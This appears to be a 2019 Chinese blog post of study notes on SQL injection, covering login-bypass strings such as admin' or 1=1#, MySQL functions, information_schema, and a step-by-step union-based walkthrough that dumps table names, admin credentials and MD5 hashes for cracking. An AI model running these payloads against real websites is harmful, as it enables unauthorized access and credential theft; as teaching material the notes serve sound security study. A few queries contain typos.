SQL注入(一)

万能密码:自己写的网站,找到登录窗口(必须和数据库交互)往里插入构造的恶意代码,最后可以直接登录进去,不需要登录密码,输入的恶意代码成为万能密码
用户名的地方没有处理,密码输入1:admin' or 1=1#
注释符号:# -- %25  %2d%2d  --+
select *  from 'user'  where  user = 'admin' or 1=1#' and password ='  ';
再输入2:admin' and 1=1#
出现万能密码的原因:
后端代码在执行的过程将用户输入的数据也当做代码来执行,违背一个原则:代码和数据相分离(本质问题)
前端的传递的数据可以随意控制,参数可控;后端对前端传递过来的数据没有过滤或者过滤不谨慎,最终导致sql注入(原因)
危害:数据泄露  脱库 篡改网站  破坏数据库  植入后门  getshell  
分类:
    请求方式:get  post cookie
    参数形式:整形  字符型  搜索
    反馈类型:报错  union  延时  布尔(时间/页面显示状态)
    数据库类型:access  mssql  mysql  oracle  nosql等等
    利用技术:布尔 报错  内联 堆叠 时间 联合
 
手工注入中常用数据函数以及常量
@@tmpdir
@@datadir
@@basedir
@@version
@@hostname
ascii()
user()
version()
database()
concat()
group_concat()
concat()
substr()/substring()/mid()
substr():oracle,mysql,mssql      substring():mysql,mssql      mid():mysql注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
left(pa1,pa2)pa1是被截取的字符串,从左边开始截取,pa2是截取的长度
right(pa1,pa2)pa1是被截取的字符串,从右边开始截取,pa2是截取的长度
sleep()让数据库休眠的
ord()显示字符的ascll
if(条件,条件为真时的返回值或者语句,条件为假的返回值或者语句)
eg:if(1=1,true,false)
case when 条件then条件为真时的返回值或者语句else条件为假时的返回值或者语句end
    eg:select 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
 
联合查询:select * from where user_id = 0.1 union select 1,2,user(),4,5,database(),7,
 
mysql数据库中:一库一表三字段
mysql>5.0
    information_schema --mysql>5.0之后自带的,系统库,汇总(其他数据库的库名、表名、字段名)
    columns --存储数据(库名、表名、字段名),需要关注该表下的三个字段
        table_schema  --存储其他数据库名的库名
        table_name  字段存储其他数据库的表名
        column_name --存储其他数据库的字段名
select table_schema,table_name,column_name from information_schema.columns;
select table_schema,table_name,column_name from information_schema.columns where;
 
手工注入的步骤:
    step1:检测注入点(可能存在sql注入的地方),找到类似id(id/uid/typeid/sid~~~key)的参数,后面需要输入一些检测的恶意代码(payload):
,
'and 1=1#
select * from users where id =
输入的恶意payload被成功执行(页面显示效果以及报错信息等),说明此处有sql注入点
    接下来还要判断注入的方式:主要根据页面的回显效果来决定使用哪种注入技术,判断从后台数据库中选择的列数以及那几列在前端显示?
?typeid=1 order by 6%23
跟换数字,根据页面的显示效果判断后台数据库选择的列数,5列
union select 1,2,3,4,5%23
返回显示2所在位置有输出:
?typeid=-1 union select 1,user(),3,4,5%23
可以根据页面显示效果可知在2的位置显示到前端
step2:收集数据信息
?typeid=-1 union select 1,database(),3,4,5%23
group_concat(distinct table_schema)
?typeid=-1 union select 1,(select distinct table_schema from information_schema.columns;),3,4,5%23
step3:获取当前数据库下的表名
select table_name from information_schema.columns where table_schema =database();
 
step4:获取当前数据库指定表下的字段名
select group_connect(distinct column_name) from information_schema.columns where table_schema=database() and table_name = 表名(一般需要找后台或敏感的数据表)(需要对表名进行16位转码)
 
addtime,id,password,qx,username
step5:获取字段数据
select concat(username,0x7e,password) from  jdy_admin limit0,1;
step6:解密:pmd5、cmd5、chamd5、somd5中解密
找后台登录:(猜,漏洞扫描,信息收集)
posted @ 2019-10-30 21:27  默忆  阅读(547)  评论(0编辑  收藏  举报